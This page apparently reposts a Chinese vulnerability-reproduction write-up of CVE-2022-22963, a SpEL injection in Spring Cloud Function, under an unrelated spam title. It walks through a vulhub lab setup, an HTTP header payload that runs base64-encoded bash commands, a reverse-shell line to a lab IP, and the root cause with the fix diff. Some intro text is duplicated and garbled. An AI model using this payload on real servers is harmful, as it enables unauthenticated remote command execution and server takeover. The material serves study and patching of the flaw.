国有资产处网站建设进贤城乡规划建设局网站
国有资产处网站建设,进贤城乡规划建设局网站,桂平网站制作,手机兼职赚钱一、简介
Spring Cloud Function 是基于 Spring Boot的函数计算框架。该项目致力于促进函数为主的开发单元#xff0c;它抽象出所有传输细节和基础架构#xff0c;并提供一个通用的模型#xff0c;用于在各种平台上部署基于函数的软件。在Spring Cloud Function相关版本它抽象出所有传输细节和基础架构并提供一个通用的模型用于在各种平台上部署基于函数的软件。在Spring Cloud Function相关版本存在SpEL表达式注入。恶意攻击者无需认证可通过构造特定的 HTTP 请求头注入 SpEL表达式最终执行任意命令获取服务器权限。
二、影响版本
3.0.0 Spring Cloud Function 3.2.2
三、漏洞复现
cd /vulhub/spring/CVE-2022-22963
docker-compose up -d访问页面
数据包截取如下
修改数据包将curl命令Base64加密 此处的路由是在Spring项目的application.properties中将spring.cloud.function.definition设置为functionRouter视情况改动
POST /functionRouter HTTP/1.1
Content-Type: application/x-www-form-urlencoded
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(bash -c {echo,加密后的命令}|{base64,-d}|{bash,-i})ping back接收到消息漏洞复现成功
四、漏洞利用
将上述命令更改为
bash -i /dev/tcp/192.168.16.129/1234 01后进行加密传输数据
反弹shell成功
五、漏洞原理
Spring Cloud 是一系列框架的集合内部包含了许多框架这些框架互相协作共同来构建分布式系统。利用这些组件可以非常方便地构建一个分布式系统。SpringCloudFunction就是一个SpringBoot开发的Servless中间件FAAS。 官方文档中提到通过设置spring.cloud.function.definition便可以使用户使用spring.cloud.function.routing-expression标头执行Spring表达语言SpEL。 https://docs.spring.io/spring-cloud-function/docs/3.2.2/reference/html/spring-cloud-function.html#_function_routing_and_filterin
便成为了SpEL注入的关键。
六、修复方式
查看DIFF https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
与上版本对比对于SpEL的命令传入增加了“是否从header而来”的判断(isViaHeader)若是则调用的是新增的headerEvalContext方法v3.2.2时不做判断直接调用StardardEvaluationContext而v3.2.3调用SimpleEvaluationContext. 两者的区别在于前者支持 SpEL 表达式的全部特性后者相当于一个沙盒限制了很多功能如对 Java 类的引用等。因此通过将 StandardEvaluationContext 类替换为 SimpleEvaluationContext 类可以限制执行注入的 SpEL 表达式。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/85861.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!